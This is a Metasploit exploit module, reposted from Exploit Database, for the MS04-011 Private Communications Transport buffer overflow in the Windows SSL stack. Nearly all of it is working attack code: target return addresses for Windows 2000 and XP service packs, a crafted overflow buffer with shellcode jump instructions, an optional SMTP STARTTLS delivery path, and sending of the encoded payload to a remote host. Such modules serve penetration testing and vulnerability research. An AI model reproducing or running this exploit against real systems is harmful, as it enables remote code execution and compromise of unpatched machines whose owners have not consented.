Microsoft Private Communications Transport – Remote Overflow (MS04-011) (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16334/

• ##
  # $Id: ms04_011_pct.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft Private Communications Transport Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the Microsoft
  				Windows SSL PCT protocol stack. This code is based on Johnny
  				Cyberpunk's THC release and has been tested against Windows
  				2000 and Windows XP. To use this module, specify the remote
  				port of any SSL service, or the port and protocol of an
  				application that uses SSL. The only application protocol
  				supported at this time is SMTP. You only have one chance to
  				select the correct target, if you are attacking IIS, you may
  				want to try one of the other exploits first (WebDAV). If
  				WebDAV does not work, this more than likely means that this
  				is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
  				5.1). Using the wrong target may not result in an immediate
  				crash of the remote system.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0719'],
  					[ 'OSVDB', '5250'],
  					[ 'BID', '10116'],
  					[ 'MSB', 'MS04-011'],
  
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1800,
  					'BadChars' => "",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'Windows 2000 SP4',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x67419ce8, # jmp [esp + 0x6c]
  						},
  					],
  					[
  						'Windows 2000 SP3',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x67419e1d, # jmp [esp + 0x6c]
  						},
  					],
  					[
  						'Windows 2000 SP2',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x6741a426, # jmp [esp + 0x6c]
  						},
  					],
  					[
  						'Windows 2000 SP1',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x77e4f44d, # jmp [ebx + 0x14]
  						},
  					],
  					[
  						'Windows 2000 SP0',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x7658a6cb, # jmp [ebx + 0x0e]
  						},
  					],
  					[
  						'Windows XP SP0',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x0ffb7de9, # jmp [esp + 0x6c]
  						},
  					],
  					[
  						'Windows XP SP1',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x0ffb832f, # jmp [esp + 0x6c]
  						},
  					],
  				],
  			'DisclosureDate' => 'Apr 13 2004',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
  
  		# This is a heap ptr to the ssl request
  		# ... and just happens to not die ...
  		# Thanks to CORE and Halvar
  		#
  		# 80620101 =>and byte ptr [esi+1], 0x2
  		# bd00010001 =>mov ebp, 0x1000100
  		# 0016 =>add [esi], dl
  		# 8f8201000000 =>pop [esi+1]
  		# eb0f =>jmp short 11 to shellcode
  
  		buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
  			"\xeb\x0f" + 'XXXXXXXXXXX' +
  			[target.ret ^ 0xffffffff].pack('V')+
  			payload.encoded
  
  		# Connect to a SMTP service, call STARTTLS
  		if (datastore['PROTO'] == 'smtp')
  			greeting = sock.get_once
  
  			sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
  			resp = sock.get_once
  
  			sock.put("STARTTLS\r\n")
  			resp = sock.get_once
  
  			if (resp and resp !~ /^220/)
  				print_status("Warning: this server may not support STARTTLS")
  			end
  
  		end
  
  		sock.put(buf)
  		resp = sock.get_once
  
  		if (resp == "\x00\x00\x01")
  			print_status("The response indicates that the PCT protocol is disabled")
  		end
  
  		handler
  		disconnect
  	end
  
  end